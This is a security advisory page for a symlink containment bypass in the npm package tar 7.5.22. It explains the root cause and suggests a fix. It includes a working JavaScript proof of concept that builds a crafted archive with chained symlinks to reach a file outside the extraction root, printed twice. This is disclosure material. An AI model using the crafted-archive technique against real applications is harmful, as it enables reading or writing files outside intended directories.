GHSA-6WWR-G865-F46R
Vulnerability from github – Published: 2026-12-02 00:58 – Updated: 2026-12-02 00:58Summary
With default preservePaths: false, tar 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by ... The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.
This was reproduced locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.
Root cause
STRIPABSOLUTEPATH accepts a symlink linkpath containing .. if path.posix.normalize(path.posix.join(entryDir, linkpath)) appears to stay inside the extraction root (src/unpack.ts:263-302). Later, SYMLINK derives parts using path.resolve(dirname(entry.absolute), entry.linkpath) (src/unpack.ts:640-659), which also removes b/.. before ENSURE_NO_SYMLINK inspects each component (src/unpack.ts:679-698). LINK then writes the original unsimplified entry.linkpath with fs.symlink (src/unpack.ts:866-880).
For a/b -> ../x and a/c -> b/../.., the lexical check reduces the second target to the extraction root and never checks a/b. Actual filesystem traversal follows a/b to x first and then processes two parent components, ending in the extraction root's parent.
Safe local PoC
Run from a built checkout of 7.5.22:
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, extract } from 'tar'
const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))
const out = join(parent, 'out')
mkdirSync(out)
writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n')
const block = h => {
const b = Buffer.alloc(512)
new Header(h).encode(b)
return b
}
const input = join(parent, 'input.tar')
writeFileSync(input, Buffer.concat([
block({ path: 'x/', type: 'Directory', size: 0 }),
block({ path: 'a/', type: 'Directory', size: 0 }),
block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),
block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),
Buffer.alloc(1024),
]))
const warnings = []
await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })
console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())
console.log(warnings)
// OUTSIDE MARKER
// []
The marker is outside out; the access passes through a symlink extracted under out. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside out while extracting a subsequent member; its existing path checks may stop such an entry.
Impact and suggested fix
An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.
Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses .. after a symlink component. In particular, inspect the unsimplified components before path.resolve() removes them. Add a regression case with a symlink component followed by .., and assert that the second link is rejected under default options.
Credit goes to GitHub user @mikkel32 as finder/reporter in the published advisory.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "7.5.22"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140248"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T00:58:18Z",
"nvd_published_at": "2026-12-01T18:17:29Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWith default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.\n\nThis was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.\n\n## Root cause\n\n`STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`).\n\nFor `a/b -\u003e ../x` and `a/c -\u003e b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root\u0027s parent.\n\n## Safe local PoC\n\nRun from a built checkout of 7.5.22:\n\n```js\nimport { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from \u0027node:fs\u0027\nimport { tmpdir } from \u0027node:os\u0027\nimport { join } from \u0027node:path\u0027\nimport { Header, extract } from \u0027tar\u0027\n\nconst parent = mkdtempSync(join(tmpdir(), \u0027node-tar-link-poc-\u0027))\nconst out = join(parent, \u0027out\u0027)\nmkdirSync(out)\nwriteFileSync(join(parent, \u0027outside-marker.txt\u0027), \u0027OUTSIDE MARKER\\n\u0027)\nconst block = h =\u003e {\n const b = Buffer.alloc(512)\n new Header(h).encode(b)\n return b\n}\nconst input = join(parent, \u0027input.tar\u0027)\nwriteFileSync(input, Buffer.concat([\n block({ path: \u0027x/\u0027, type: \u0027Directory\u0027, size: 0 }),\n block({ path: \u0027a/\u0027, type: \u0027Directory\u0027, size: 0 }),\n block({ path: \u0027a/b\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027../x\u0027, size: 0 }),\n block({ path: \u0027a/c\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027b/../..\u0027, size: 0 }),\n Buffer.alloc(1024),\n]))\n\nconst warnings = []\nawait extract({ file: input, cwd: out, onwarn: (code, message) =\u003e warnings.push({ code, message }) })\nconsole.log(readFileSync(join(out, \u0027a/c/outside-marker.txt\u0027), \u0027utf8\u0027).trim())\nconsole.log(warnings)\n// OUTSIDE MARKER\n// []\n```\n\nThe marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry.\n\n## Impact and suggested fix\n\nAn attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.\n\nValidate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options.\n\nCredit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.",
"id": "GHSA-6wwr-g865-f46r",
"modified": "2026-12-02T00:58:18Z",
"published": "2026-12-02T00:58:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-6wwr-g865-f46r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140248"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Nested symlink target can escape node-tar extraction root"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.